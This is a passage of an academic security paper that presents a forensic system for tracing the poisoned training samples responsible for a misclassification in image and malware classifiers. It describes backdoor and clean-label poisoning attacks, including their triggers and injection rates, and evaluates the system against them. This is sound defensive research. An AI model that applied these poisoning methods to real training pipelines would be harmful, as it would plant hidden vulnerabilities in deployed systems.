identify either the source of the poison data, or a vulnerabil-

ity in the data pipeline where the poison data was inserted.

Either result leads to direct mitigation steps (e.g. removing

an unreliable data vendor or securing a breached server on

the training data pipeline) that would patch the pipeline and

improve robustness to similar attacks in the future.

Several factors make the poison traceback problem quite

challenging in practice. First, today’s deep learning models

employ large complex architectures that do not easily lend

themselves to explainability. Specific behaviors do not local-

ize themselves to specific neurons as once speculated. Sec-

ond, the effects of poisoning attacks generally require train-

ing on a group of poisoned data, and a subset of the poisoned

training data is unlikely to produce the same behavior. Thus

a brute force search for the subset of poisoned training data
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would involve testing an exponential number of sample com-

binations from a large training corpus. Finally, a poison trace-

back tool produces evidence that can lead to the identification

of parties responsible for an attack. Thus these tools must

have very high precision, since false positives could lead to

false accusations and negative consequences.

In this paper, we introduce the poison traceback problem,

and propose the first solution that accurately identifies poi-

soned training data responsible for an observed attack. Our

solution utilizes an iterative clustering and pruning algorithm.

At each step, it groups training samples into clusters based

on their impact on model parameters, then identifies benign

clusters using an efficient data unlearning algorithm. As be-

nign clusters are pruned away, the algorithm converges on a

minimal set of training samples responsible for inducing the

observed misclassification behavior. In detailed experiments

covering a variety of tasks/datasets and attacks, our approach

produces highly accurate (high precision and recall) identifi-

cation of poison data for both dirty-label and clean-label poi-

son attacks.

This paper makes the following contributions to the foren-

sics of poison attacks:

• We define forensics in the context of data poisoning attacks

and design a forensics system that effectively traces back

misclassification events to poison training data responsible.

• We empirically demonstrate the effectiveness of our sys-

tem on three types of dirty-label poison attacks and three

types of clean-label poison attacks, across two domains of

computer vision and malware classification. Our system

achieves over 98.4% precision and 96.8% recall on iden-

tifying poison training data,

• We test our system against 4 alternative forensic designs

adapted from prior defenses, and show our system consis-

tently succeeds on attacks where alternatives fall short.

• We consider potential anti-forensics techniques that can be

used to evade our system. We test our system and show that

it is robust against 6 adaptive attacks specifically designed

to overcome this forensic system.

To the best of our knowledge, this is the first work to ex-

plore a forensics approach to address data poisoning attacks

on deep learning systems. This is a significant departure from

existing works that focus entirely on attack prevention. Given

our initial results, we believe poison traceback is a promising

direction worthy of further exploration.

2 Background and Related Work

In this section, we present the background and related work

on data poisoning and digital forensics.

2.1 Data Poisoning

In data poisoning attacks, the attacker gains access to the

training data pipeline of the victim ML system, e.g., via a ma-

licious data provider, and injects a set of poison data into the

training dataset. The poison data causes the victim’s model

to have certain vulnerabilities, i.e., misclassifying certain in-

puts targeted by the attacker.

Data Poisoning Attacks. We can divide existing poi-

son attacks into two categories based on their attack assump-

tions: dirty-label attacks where attacker can modify both

the data and their semantic labels, and clean-label attacks

where attacker can only modify the data. Dirty-labels at-

tacks [29, 48, 80], often called as backdoor attacks, seek to

inject a trigger into the victim model. A trigger is a unique

input signal (e.g., a yellow sticker on an image, a trigger word

in a sentence) that once present can lead the victim model

to misclassify any inputs to a target label selected by the at-

tacker (e.g., the presence of yellow sticker leads the model to

classify stop signs as speed limits [29]).

Clean-label attacks further divide into clean-label back-

door attacks and clean-label triggerless attacks. Clean-label

backdoor attacks [61, 65, 76] are similar to dirty-label back-

door attacks except that attacker cannot modify the label of

the poison data. Clean-label triggerless attack aims to mis-

classify a single unmodified test data. Shafahi et al. [66]

proposed the first clean-label triggerless attack where an at-

tacker injects poison data to disrupt the feature region of

the targeted data. Several proposals [1, 87] significantly im-

prove the performance of clean-label attacks by positioning

poison data on a convex polytope around the target data.

These clean-label attacks only perform well when the vic-

tim model’s feature space is known, i.e., assuming the victim

uses transfer learning and the attacker has white-box access

to the pretrained model’s parameters. A recent attack, Witch-

Brew [26], targets the from-scratch training scenario leverag-

ing gradient alignment of poison and target data.

Data Poisoning Defenses. A large body of research seeks

to defend against poison attacks. Robust training defenses

modify the training of neural networks to be resilient against

data poisoning. Existing robust training defenses leverage en-

semble training [36], kNN majority voting [35], adversarial

training [27], random smoothing [78], and data augmenta-

tion [7]. Other defenses try to diagnose and patch an already

poisoned model. Neural Cleanse [79] assumes backdoor trig-

gers are small input signals and reverse engineers the injected

backdoor trigger. Fine-Pruning and STRIP assume neurons

related to poison are not activated by benign data, and thus

remove unused neurons [24, 47]. SPECTRE [31] assumes a

Gaussian distribution of benign feature representations, and

filters out anomalous inference queries.

Still, defending against poison attacks remains a challeng-

ing problem, mainly because the injected vulnerability is hid-

den and has not been activated at defense time. Thus, exist-

ing defenses examine the training data or various behaviors

of the model to identify anomalous signals that might be ma-

licious. While existing defenses have shown promising signs

by preventing many poison attacks, stronger and adaptive at-

tackers are able to bypass existing defenses [4,63,65,80,83].
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Figure 1: The general scenario for our trackback system. a) the attacker poisoned the training data to inject vulnerability into the

model; b) at run-time, the attacker submits an attack input to cause a misclassification event; c) our traceback system inspects

the misclassification event to identify its root cause.

2.2 Background on Digital Forensics

First introduced in the 1970s, digital forensics has been a ma-

jor and growing area of cybersecurity. Digital forensics seeks

to trace the source of a cyberattack that has already happened

leveraging traces that the attacker left in the victim system.

“Attack incidents” trigger the forensic analysis, i.e., when

the system administrator discovers a cyberattack after some

catastrophic events have happened (e.g., web servers over-

loaded with dummy requests, machine takeover, or sensitive

data appearing in the dark web). Then, a forensics system

is assigned to investigate the source of the attack. Forensic

analysis often starts with evidence collection from the logs

of the victim system. Then the system connects these pieces

of evidence using their casual links to form a causal graph,

and identifies the root cause of the attack by tracing through

the casual graph starting from the attack incident.

Benefits of Forensics. Successful forensics can lead to

prosecution of the perpetrator, stopping the attack from the

source, and offering insights to build more secure systems.

Forensics can even break the arms race between attackers

and defenders, since an attacker faces a much higher cost

of iterating with a forensics system, i.e., the attacker is held

accountable as long as the forensics system succeeds once.

Consequently, the risk of being caught acts as a strong deter-

rent to discourage any attackers from launching the attack in

the first place.

Forensics vs. Defenses. Forensics is a complementary ap-

proach to defenses (or security through prevention). While

there is a significant amount of prior works focusing on de-

fenses against adversarial attacks, history (in both machine

learning security and multiple other security areas) shows

that no defense is perfect in practice, and attackers will

find ways to circumvent even strong defenses. Forensics ad-

dresses the incident response of successful attacks by tracing

back to the root causes. Modern security systems leverage

both defenses and forensics to achieve maximum security.

The same dynamic holds true in the context of poison at-

tacks on neural networks. For example, a defense against

backdoors that identifies poison training data can be circum-

vented by an attacker who breaches the server after the de-

fense has been applied, but prior to model training.

Existing Digital Forensics Research. Forensics has been

widely studied in security community to solve a wide vari-

ety of security problems, e.g., tracing the source IP of DDoS

attacks [17, 62, 72], origins of intrusion [39, 84], and the

cause of advance persistent threats (APTs) [23, 82, 85]. Ex-

isting research addresses many technical challenges of foren-

sics. [6, 21, 38, 43] seek to secure the integrity of traces left

by the attacker against potential tampering. [19, 44, 50, 81]

reduce the large storage overhead of logging while preserv-

ing enough information. [39,51,85] address the dependency-

explosion problem where a forensics system cannot narrow

down the true cause of the attack. Another line of research

focuses on post-forensics, i.e., after the root cause is identi-

fied. The post-forensics system can prosecute the attacker in

court by generating causal proof [20, 25] and fingerprint the

attack to prevent similar attacks in the future [37, 54, 58].

3 Traceback on Data Poisoning Attacks

In this paper, we consider the task of applying forensics to

uncover the presence of data poisoning attacks on deep neu-

ral network (DNN) models. Given a misclassification event

at test time, we seek to identify the set of poisoned training

data that resulted in the misclassification.

Example Scenario. Figure 1 illustrates the general sce-

nario for post-attack forensic analysis. One or more attack-

ers find a way to access the training data pipeline1, and inject

poison training data to introduce a specific vulnerability into

the DNN model (Figure 1(a)). Once the corrupted model is

deployed, the attacker submits a carefully crafted input that

exploits the vulnerability to produce a misclassified result.

When the administrator discovers this misclassification event

(possibly after downstream events), they want to identify the

root cause or entity responsible (Figure 1(b)). Information is

sent to the traceback system, including the input that caused

the misclassification, the DNN model, and its training data.

The traceback system then identifies the poison training data

responsible for the misclassification event (Figure 1(c)).

Here, we define our threat model, identify key goals and

challenges of a forensic traceback system for poisoning at-

1The training data pipeline often includes multiple layers of data collec-

tors, labelers, and brokers.
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tacks, and highlight our key intuition for our solution. We

describe the details of our traceback system in §4.

Terminology. We use the following terminology:

• Data poisoning attack: the injection of poisoned training

data that embeds vulnerability into the victim model.

• Misclassification event: an input (xa) that the model mis-

classified, and the corresponding misclassified label (ya).

3.1 Threat Model

We first describe our threat model and assumptions of the

attacker and the traceback system.

Data Poisoning Attacker. We adopt common assump-

tions made by existing work on poisoning attacks and de-

fenses. We assume the attacker:

• can modify any portion of their controlled training data;

• can poison at most half of the entire training dataset;

• has no access to other parts of the model training pipeline,

including the final model parameters of the trained model2;

• is aware of the existence of a potential traceback system

and can adopt anti-forensics techniques to evade traceback

(more details in §9);

• at inference time, submits an attack input that utilizes the

injected vulnerability to cause model misclassification.

Traceback System. We assume the traceback system is

deployed by the model owner or a trusted third party, and

thus has full access to the following resources:

• the DNN model (its parameters and architecture), the model

training pipeline and the training data;

• information on the misclassification event, i.e., the exact at-

tack input xa and misclassification output ya.

We do not assume the traceback system has any access to

information on other attacks (beyond the current misclassi-

fication event), and make no assumption about types or pa-

rameters of the poisoning attacks. Note that the traceback

system has full access to the training dataset, unlike assump-

tions made by some existing defenses, which prevent poison

attacks without leveraging the full training dataset [79].

We note that in practice, a misclassification event may

also arise from low model accuracy or from an evasion

attack. Either can cause misclassification without poison-

ing/modifying training data. In §10, we discuss how our

forensic tool can also be used to determine if a misclassifi-

cation was caused by a poisoning attack. A comprehensive

study of robust recognition of non-poison misclassification

events is beyond the scope of this paper. In the rest of the

paper, we only limit ourselves to data poisoning attacks.

2There exists a few parameter-space poison attack [33, 70] and we con-

sider them outside of our threat model since these attacks require additional

access to the victim’s training pipeline.

3.2 Design Requirements and Challenges

To identify what/who is responsible for the misclassification

event, a practical DNN traceback system should meet the fol-

lowing requirements:

• High precision – In forensics, false positives can lead to

false accusations, and thus must be minimized. Under our

problem context, this means that for any misclassification

event caused by a specific poisoning attack A, traceback

should identify only those poisoned training data injected

to implement A but not others.

• High recall – Recall measures the percentage of poison

training data responsible for the misclassification event that

are identified by the traceback system. Achieving a high re-

call rate is crucial for identifying all the attack parties, espe-

cially when multiple parties worked together to inject poi-

son data in order to train a vulnerability into the model.

• Generalizability – An effective traceback system should

address a wide range of poisoning attacks against DNN

models, without requiring knowledge of the attack type or

parameters (e.g., the amount of poison training data).

We further note two non-goals of our system. The first is

attack scope. The goal of the traceback system is to respond

to a specific, observed attack. In a scenario where one or

more attackers have performed multiple, independent poison-

ing attacks on the same model, the traceback system focuses

on identifying the poison data that caused the observed mis-

classification event. The second is on computational latency.

Unlike real-time attack detection tools, forensic traceback is

a post-attack operation and does not face strict latency re-

quirements. This is a common assumption for digital foren-

sics [14, 28].

Potential Solutions and Key Challenges. Traditional dig-

ital forensics traces the root cause of an attack by building

causal graphs using causal links among system events [39,

51, 85]. In our problem context, DNN model training allows

each individual training sample to potentially contribute to

the final model parameters, and by extension, the misclas-

sification result. This is commonly known in forensics as

the dependency explosion problem, and combined with the

large size of training data (e.g., millions of training samples)

makes conventional causal graph analysis intractable.

The key challenge facing any DNN forensic system is

how to efficiently connect a (mis)classification result to spe-

cific samples in the training data. For non-DNN, linear ML

models, existing works use the well-known influence func-

tion [40] to estimate the contribution of each training data

point towards a classification result, leveraging the first-order

Taylor’s approximation. However, recent work [5] showed

that when applied to DNNs, the influence function produces

poor performance and requires costly computation of second-

order derivatives. We confirmed these observations exper-

imentally. Using the influence function to traceback Bad-

Net poisoning attacks on a CIFAR10 model (details in §6)

3578    31st USENIX Security Symposium USENIX Association



achieved less than 69% precision and recall. When testing

it on models trained on the larger ImageNet, our influence

function computation timed out after running 15 days on 4

NVidia TitanX GPUs.

Another alternative is to adapt existing poison defenses

into forensic tools for use after an attack has been de-

tected. While adapting defense techniques as forensics is

itself slightly paradoxical (waterproof defenses would obvi-

ate the very need for forensics), we can nonetheless test to

see if such techniques can be effective after an attack. Later

in §8, we adapt four defenses (Spectral Signature, Neural

Cleanse, Deep K-NN, and L2-Norm) into potential forensic

tools, and compare them with our traceback system. Some of

the adapted systems have success against simple attacks, but

all of them fail on stronger poison attacks.

Poisoning as a group effect. In current work on poisoning

attacks, attack success relies on a critical mass of poison sam-

ples in the training set [29, 65, 69]. While a sufficiently large

set of poison training data can shape model behavior and in-

ject vulnerabilities, the contribution of each individual data

sample is less and much harder to quantify. This explains the

poor performance of the influence function when applied to

smaller models such as CIFAR10 (see above). It motivates

us to design a solution to search for groups of poison train-

ing data, not single samples.

3.3 Design Intuition

Instead of designing the traceback system to explicitly target

individual training data samples, our intuition is to inspect

training data in groups, and map the traceback problem to a

set searching problem.

Set searching by iterative clustering and pruning. We

propose to search for sets of training samples responsible for

an observed misclassification event, by iteratively pruning

groups of training data we can identify as innocent to the at-

tack. Starting with the full training data set, we progressively

identify and prune clusters of innocent training samples until

only those responsible for the misclassification event are left.

In each iteration, we only need to identify clusters of train-

ing data that do not contain any poison training data required

to make the misclassification event successful. As such, our

traceback design only needs a “binary” measure of event re-

sponsibility, which is much easier to compute than the actual

contribution of any training data samples to the attack.

A binary measure of event responsibility. We propose a

binary measure of event responsibility, which connects a mis-

classification event with the model training data. Here our hy-

pothesis is that since data poisoning attacks focus on making

the model learn new behavior that is different from those of-

fered by the benign (or innocent) data, the attack confidence

level should not degrade if some portion of the innocent data

is not used for model training. In this work, we propose to

use this condition to determine whether a cluster of training

data contains only innocent data not responsible for the mis-

classification.

We formally define this condition as follows. Let the

model’s full training dataset D be divided into two distinct

subsets: D1 and D \D1. Let F be the DNN model trained

on D and F − be the model trained on D \D1. Let (xa,ya)

represent the misclassification event. We use ℓ(F (xa),ya)

and ℓ(F −
(xa),ya) to indirectly compare the confidence level

of (xa,ya) on the two DNN models, where ℓ(.) is the cross-

entropy loss function. Specifically, if removing D1 from the

model training data does not increase the attack confidence

level, i.e.,

ℓ(F (xa),ya)≥ ℓ(F −
(xa),ya), (1)

then D1 is less responsible for the misclassification event

(xa,ya) than D\D1. This is in the sense that D\D1 has a ratio

of benign to poison data that is more skewed towards poison

than D, allowing us to use this measure of event responsibil-

ity to iteratively determine the subset of poison data. We note

that in practice, we are able to use clustering to find splits

such that D1 does not contain any poison data. Our proposed

measure only examines the attack confidence level, and does

not consider the model’s normal classification accuracy.

The proposed binary measure of event responsibility (Eq.

1) is supported by our theoretical analysis on how removing

a portion of the training data affects attack performance. For

brevity, we present the analysis in Appendix A.1.

4 Detailed Poison Traceback Design

This section presents the detailed design of our traceback sys-

tem. We start from a high-level overview, followed by the de-

tailed description of the two key components (clustering and

pruning), which run iteratively to identify the set of poison

training data responsible for the misclassification event.

4.1 High-level Overview

In a nutshell, our traceback system implements an iterative

clustering and pruning process, which progressively identi-

fies sets of innocent training data that are not responsible for

the observed misclassification event. This ends when only

the poison data responsible for the misclassification event is

left and thus identified. Doing so requires two key operations:

clustering and pruning.

(1) Clustering unmarked training data. The clustering

component divides the unmarked training data into clusters,

based on how they affect the model parameters (details in

§4.2). Here the goal is to progressively separate innocent data

from poison data, so that we can identify, mark and prune an

innocent cluster (using the pruning component).

(2) Identifying and pruning innocent clusters. This prun-

ing component examines the unmarked data clusters, applies

the binary metric defined by Eq. (1) to identify an innocent
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cluster, if any, that is not responsible for the misclassifica-

tion event. The identified cluster is marked and thus excluded

from the next clustering operation, i.e., pruned out. We note

that pruning does not affect the computation of Eq. (1), where

D is always the original full training dataset and D1 is a clus-

ter to be examined. The detailed pruning design is in §4.3.

An illustrative example. Figure 2 shows an example trace-

back process that completes in two iterations, visualized in a

simplified 2D projection of the training data. The traceback

starts from the full set of training data as unmarked, includ-

ing both innocent (blue) and poison (red) data. In each iter-

ation, the left figure shows the collection of unmarked train-

ing data to be clustered and the resulting cluster boundary

that divides them into two clusters; the right figure shows the

result of pruning where the innocent cluster is removed. At

the end of iteration 2, only the set of poison data responsible

for the attack is left as unmarked. Upon detecting that the un-

marked data cannot be further divided or pruned, the process

ends and the unmarked data are declared as the training data

responsible for the misclassification event.
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Figure 2: An illustration of our poison traceback process that

completes in two iterations, visualized on a simplified 2D

space representing the training data.

4.2 Clustering Unmarked Training Data

We now describe the detailed clustering design, which seeks

to progressively separate benign and poison training data into

different clusters. The key challenge here is that while inno-

cent and poison data are different by design (in order to inject

different behaviors into the model), it is highly challenging to

accurately characterize and measure such differences. This is

also why it has been hard to design defense mechanisms that

can effectively identify and remove poison training data.

Instead, our clustering design first maps these training data

into a new space, focusing on “amplifying” the separation be-

tween innocent and poison data rather than identifying them.

Operating on this new space, each clustering operation will

produce two clusters, ideally one containing only innocent

data and the other containing a mixture of innocent and poi-

son data. Given these two clusters, our pruning component

(§4.3) will replay the misclassification event to identify the

innocent cluster. In the next iteration, we will run clustering

only on the mixed cluster to “extract” more innocent data.

After a few iterations, the innocent and poison data become

fully separated.

Therefore, our clustering design includes 1) data mapping

to “amplify” the distance between innocent and poison data,

and 2) a high performance clustering method to generate the

clusters, which we discuss below.

Data mapping. We map the data by estimating how a

training sample x affects the final model parameters. This is

measured by the change of model parameters when x is ab-

sent from the training dataset, i.e., comparing the final model

parameters when trained on D and D\ x, where D is the full

training dataset. Unlearning benign or poison data results in

different effect on model parameters. Unlearning of poison

samples shifts the model closer to an optimal location in pa-

rameter space, where poisoning is ineffective, while unlearn-

ing benign samples shifts the model towards its initial ran-

domly initialized state, since if all benign samples are effec-

tively unlearned, the model will have no predictive power. A

naive implementation would retrain the model on D\x, lead-

ing to unnecessary computational overhead and stochasticity

from training. Instead, inspired by the concept of unlearning,

we propose estimating the parameter change using a gradi-

ent computation. The gradient of the parameters with respect

to a given data point with a specified loss function is a well-

known method to characterize its impact on the model [40].

Intuitively, data with similar gradients will have a similar im-

pact on the model. Thus, our data mapping for training data

point x is:

∇θ ℓ(F (x),NULL) (2)

where F is the original model (trained on D), θ is the pa-

rameter set of F ’s classification layer, ℓ is the cross-entropy

loss, and NULL is a new “no knowledge learned” label to rep-

resent the effect of not learning from x. We implement NULL

as an equal probability output, which has been used by exist-

ing works to label out-of-distribution (OOD) samples [77].

We note that our data mapping method is one of the many

ways to represent data for analysis in poison setting. Other

mapping methods exist in the literature [10, 15]. We leave

a systematic study of the optimaility of data mappings and

designing better performing mapping to future work.

Clustering heuristics. To handle large training data sets,

we use Mini-Batch K-means [64], a scalable variant of the

K-means clustering algorithm. As the name suggests, it first

runs K-means on multiple smaller batches of the dataset and

then aggregates their results. This allows us to distribute

the computation across multiple servers, achieving orders of

magnitude speedup without degrading the clustering qual-

ity [64]. As discussed earlier, we configure the clustering sys-

tem to produce two clusters per iteration.
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4.3 Pruning the Innocent Cluster

Given the two clusters, the pruning component will identify

which of the two clusters is less responsible, if any, for the

misclassification event (xa,ya). This is done by using (xa,ya)

to evaluate each cluster’s responsibility to the event – if a

cluster meets the condition in Eq. (1), it is marked as inno-

cent and excluded in the next clustering iteration. In practice,

we find that the less responsible cluster always contains only

benign data, due to the clear separation induced by our map-

ping in §4.2, resulting in rapid identification of the poison

data.

The design challenge facing this component is how to

efficiently evaluate the condition defined by Eq. (1), espe-

cially ℓ(F −
(xa),ya). Given a cluster (D1), F − refers to the

DNN model trained on D \D1. One can certainly compute

ℓ(F −
(xa),ya) by training F − from scratch, which is often

expensive in practice. Again, inspired by the concept of ‘un-

learning’, we propose producing F − by unlearning D1 from

the original model F .

Existing unlearning for provable privacy protection.

Unlearning has been explored in the context of privacy (e.g.,

[8, 30, 53]) where a person protected by privacy laws can re-

quest their data be removed from a trained ML model. Thus,

existing unlearning methods focus on achieving a strong,

provable privacy guarantee at the cost of high computation

complexity. Furthermore, their performance degrades rapidly

as the number of data points to be unlearned increases [8,30],

making them unsuitable for our traceback system.

Proposed: functional unlearning for traceback. Instead,

we propose approximating F − by functionally unlearning a

cluster D1 from the original model F . Specifically, we fine-

tune F to minimize the cross-entropy loss between D1 and

the NULL label (i.e., no knowledge learned) discussed in

§4.2 while maintaining a low cross-entropy loss on the rest

of the training data (D \D1) like the original model. This

fine-tuning operation is guided by

min
θ

(

∑
(x,y)∈D1

ℓ(F (x),NULL)+ ∑
(x,y)∈D\D1

ℓ(F (x),y)

)

(3)

where (x,y) ∈ D\D1 represents the training data instance

(input x and its label y). We solve the above optimization us-

ing stochastic gradient descent (SGD) with the same hyper-

parameters as the original model training, and use the fine-

tuned version of F as F −. We then compute ℓ(F −
(xa),ya)

using the misclassification event (xa,ya) and verify the con-

dition defined by Eq. (1).

5 Overview of Evaluation

Using a variety of tasks/datasets, we evaluate our traceback

system against 6 different poison attacks (3 dirty-label and 3

clean-label attacks) and 4 anti-forensic countermeasures. We

outline these experiments and a preview of our findings.

Dataset Dimensionality # Classes # Training Data Architecture

CIFAR10 [41] 32× 32 10 50,000 WideResNet-28 [86]

ImageNet [18] 299× 299 1,000 1,281,167 Inception ResNet [73]

VGGFace [56] 224× 224 2,622 2,622,000 VGG-16 [71]

Wenger Face [80] 224× 224 10 762 ResNet-50 [32]

EMBER Malware [2] 2351 2 600,000 EmberNN [65]

Table 1: Datasets & DNN architectures for our evaluation.

I. Traceback of dirty-label poison attacks (§6). Using

4 image classification datasets, we test against 3 state-of-the-

art dirty-label attacks, including an attack without any known

effective defense. Our traceback system achieves ≥ 98.9%

precision and ≥ 97.1% recall in identifying poison data.

II. Traceback of clean-label poison attack (§7). For both

image classification and malware classification datasets, we

test against 3 state-of-the-art clean-label attacks, including an

attack without any known effective defense. Our traceback

system achieves ≥ 98.4% precision and ≥ 96.8% recall.

III. Robustness against anti-forensic countermeasures

(§9). We consider 4 potential countermeasures that a re-

sourceful attacker can deploy to bypass the traceback. Re-

sults show that our system is robust against all four. Across

all the experiments, the most effective countermeasure re-

duces the traceback precision and recall by less than 4%.

6 Evaluation on Dirty-label Attacks

Our evaluation of the traceback system starts from testing it

against dirty-label poisoning attacks. We consider three state-

of-the-art dirty-label attacks: BadNet [29], Trojan [48], and

Physical Backdoor [80]. We follow the original papers to im-

plement these attacks and vary their attack parameters to pro-

duce a rich collection of poisoning attacks and their misclas-

sification events. Overall, our results show that the proposed

traceback system can accurately identify the root cause of

dirty-label attacks (≥ 98.9% precision and ≥ 97.1% recall)

while maintaining a reasonable traceback time per attack.

6.1 Experiment Setup

We first summarize the configuration of the attacks and our

traceback system, and discuss the evaluation metrics.

Attack Setup. Using 4 image classification datasets listed

in Table 1, we implement the above mentioned three attacks

(Table 15 in Appendix). Their attack success rate and normal

classification accuracy match those reported by the original

papers. We briefly summarize them below. Further details

on the DNN models, datasets, and attacks can be found in

Appendix A.2.

• BadNet (CIFAR10, ImageNet): The BadNet [29] attack

builds poison training data by adding a pre-selected back-

door trigger to benign inputs and labeling them with the

target label. We run BadNets on image classification tasks

trained on CIFAR10 and ImageNet, respectively. The de-

fault attack configuration is identical to [29]: 10% injection
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Attack Type Attack Name Dataset
Traceback Performance

Precision Recall Runtime (mins)

Dirty-label

(§6)

BadNet CIFAR10 99.5± 0.0% 98.9± 0.0% 11.2± 0.4
BadNet ImageNet 99.1± 0.0% 99.1± 0.0% 142.5± 4.1
Trojan VGGFace 99.8± 0.0% 99.9± 0.0% 208.9± 9.2

Physical Backdoor Wenger Face 99.5± 0.1% 97.1± 0.2% 2.1± 0.0

Clean-label

(§7)

BP CIFAR10 98.4± 0.1% 96.8± 0.2% 19.2± 1.2
BP ImageNet 99.3± 0.0% 97.4± 0.1% 202.0± 7.1

WitchBrew CIFAR10 99.7± 0.0% 96.8± 0.1% 21.4± 2.1
WitchBrew ImageNet 99.1± 0.1% 97.9± 0.1% 194.3± 5.9

Malware Backdoor Ember Malware 99.2± 0.0% 98.2± 0.1% 57.7± 3.0

Table 2: Precision, recall, and runtime of the traceback system for each of the four dirty-label poisoning attack tasks and the

five clean-label poisoning attack tasks (averaged over 1000 runs per attack task).

rate (i.e., 10% of the training data is poison data) and a ‘yel-

low square’ as the trigger.

• Trojan (VGGFace): The Trojan [48] attack improves upon

BadNet by using an optimized trigger to increase attack suc-

cess. Like the original paper [48], we implement this at-

tack on a face recognition model trained on VGGFace. The

default attack configuration uses 10% injection rate and a

59× 59 pixel trigger.

• Physical Backdoor (WengerFace): Wenger et al. [80]

recently proposed a physical backdoor attack against fa-

cial recognition models, using everyday physical objects

such as eyeglasses and headbands as the trigger. They col-

lected a custom dataset of face images (hereby referred to

as WengerFace) of users wearing these accessories. We use

the same dataset3 to implement the attack. Following the

original paper, we implement the attack with the default con-

figuration of 10% injection rate and a pair of eyeglasses as

the trigger (since it offers the highest success rate among

the triggers tested). Note that this backdoor attack is able

to bypass 4 state-of-the-art defenses [15, 24, 75, 79]. To the

best of our knowledge, there is no known effective defense

against this attack.

In the rest of the paper, we often use attack-dataset (e.g.,

BadNet-CIFAR10) to succinctly identify each attack task.

Given an attack configuration (i.e., attack-dataset, injection

rate, trigger), we generate 1000 successful attack instances

(xa,ya) as the misclassification events to test our traceback

system. Specifically, we randomly choose 10 target labels to

implement 10 versions of the given poisoning attack. Then

for each attack version, we randomly select 100 successful

attack instances as the misclassification events, producing a

total of 10× 100= 1000 events.

Traceback Setup. Configuring the traceback system is

simple as it does not assume prior knowledge of the attacks.

The majority of computation comes from the data projection

used by the clustering component, i.e., computing eq. (2) for

each training sample. For large models (like those trained on

ImageNet), we speed up the computation of Eq. (2) by ran-

domly selecting ρ% of the model weights in the final classifi-

3We contacted the authors of [80] to obtain the dataset and the required

user consent and authorization to use this dataset for our study.

cation layer. We empirically find that reducing ρ from 10 to

1 does not lead to visible changes to the traceback accuracy

(see Table 12 in the Appendix), and thus set ρ = 1.

Evaluation Metrics. We evaluate the proposed traceback

system using three metrics: 1) precision of identifying poi-

son training data, 2) recall of identifying poison training data,

and 3) runtime latency of a successful traceback. We report

the average and standard deviation values over 1000 misclas-

sification events per attack configuration.

6.2 Traceback Performance

Precision and Recall. We first report the precision and

recall of our traceback system, when tested against dirty-

label attacks under the default attack configuration (i.e., those

used by the original papers). The top section of Table 2

shows the traceback precision and recall for each attack-

dataset. Across all these experiments, our system consis-

tently achieves a high precision (99.1− 99.8%) and a high

recall (97.1− 99.9%).

An interesting observation is that the recall for Physical

Backdoor is lower (97.1%) than the other attacks (> 98.9%).

That is, our traceback detects less portion of the poison train-

ing data samples used by Physical Backdoor compared to the

other attacks. We wonder whether this is because those data

samples contributed very little to the injected vulnerability,

especially since real photos of physical objects often lead

to less precise triggers than those injected digitally. We vali-

date this hypothesis by removing the exact set of poison data

missed by our traceback and re-launching the poison attack,

and the attack success rate drops by only 0.08% on average.

But when removing a random set of poison training data of

the same size, the attack success rate drops by 1.02% on av-

erage. This confirms our hypothesis.

Detailed Analysis of Clustering. To obtain a deeper un-

derstanding of the traceback performance, we perform a de-

tailed analysis of the clustering component. Intuitively, clus-

tering is most effective if the data projection makes the be-

nign and poison data well-separated from each other. Along

this line, our analysis starts from visualizing the project re-

sult of the model training data (benign and poison), for three

poisoning attacks (BadNet-CIFAR10, Trojan-VGGFace, and
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(c) Physical-Wenger

Figure 3: A simplified, 2-D PCA visualization of the projected training data, where poison and benign data are well-separated.

Physical-Wenger). Figure 3 shows the simplified 2D version

generated using 2-dimensional Principal Component Analy-

sis (PCA) [57] on the projected data. In this visualization, the

benign and poison data appear to be well-separated.

Next, we study the L2 distance among the projected train-

ing data, focusing on measuring the normalized L2 distance

between each poison data sample to the centroid of all the

benign data (i.e., the benign centroid), and the centroid of all

the poison data (i.e., the poison centroid). Table 17 lists the

average results for four attacks. We calculate the normalized

L2 distances to allow a fair comparison across attacks.

Results in Table 17 confirm that the poison and benign

data are reasonably separated. The poison data in Physical-

Wenger are more spread out while those in Trojan-VGGFace

are densely packed. These observations align with those of

Figure 3). Overall, our proposed data projection achieves suf-

ficient separation between the benign and poison data, al-

lowing the subsequent clustering and pruning operation to

quickly identify all the benign data. Across all four attacks,

the traceback takes no more than 4 clustering/pruning itera-

tions to complete.

Detailed Analysis of Pruning. Our pruning operation is

based on the condition defined by eq. (1) that compares the

cross-entropy loss of the misclassification event on the orig-

inal model F and the new model F − after removing a clus-

ter D1 from the training dataset. Using BadNet-CIFAR10 as

an example, Table 3 lists the mean and standard deviation

of ℓ(F (xa),ya) for the original model, ℓ(F −
(xa),ya) when

removing an “innocent” cluster, and ℓ(F −
(xa),ya) when re-

moving a poison cluster. The latter two display distinct differ-

ence when compared to the first term (ℓ(F (xa),ya)), confirm-

ing that our proposed binary condition offers a clear signal to

accurately identify innocent clusters not responsible for the

misclassification.

ℓ(F (xa),ya)
ℓ(F −

(xa),ya) when removing

an innocent cluster a poison cluster

0.09± 0.02 0.02± 0.00 6.91± 0.6

Table 3: The cross-entropy loss of the misclassification event

on the original and modified models, for BadNet-CIFAR10.

6.3 Traceback Overhead

Finally, we report in Table 2 (the last column) the runtime of

traceback against different attack tasks. We run a prototype

of our traceback system on a machine with one Nvidia Ti-

tan X GPU and 12 Intel Xeon CPUs. The computation time

linearly increases with the dimension of the data projection

and the number of training data samples. For models with a

large training dataset, the bulk of the traceback computation

comes from the clustering of training data, which takes up

83% of the computation time for Trojan-VGGFace, the most

computational expensive task. On the other hand, simple data

parallelism enabled by the use of mini-batch K-mean cluster-

ing can significantly speed up the runtime. For example, par-

allelizing using 5 machines reduces the runtime for Trojan-

VGGFace to 49.5± 3.2 minutes, a 4.1x speed up.

7 Evaluation on Clean-label Attacks

We now evaluate our traceback system against clean-label

poisoning attacks, and contrast its performance to that on

dirty-label attacks. Compared to dirty-label attacks, clean-

label attacks follow a different attack methodology,use fewer

poison training samples, and these samples appear less sepa-

rated from the benign data even after data projection. These

factors make the clustering and pruning process more chal-

lenging. Nevertheless, our traceback system still achieves

good performance across all attack tasks (≥ 98.4% precision

and ≥ 96.8% recall). In the following, we present the experi-

ment setup of the five clean-label attacks used by our evalua-

tion, and how our traceback system responds to these attacks.

7.1 Experiment Setup

Attack Setup. We consider two state-of-the-art triggerless

clean-label attacks on image classification, and a backdoor-

based clean-label attack on malware classification (Table 16

in Appendix). Our implementation of these attacks match

the original papers in both attack success rate and benign

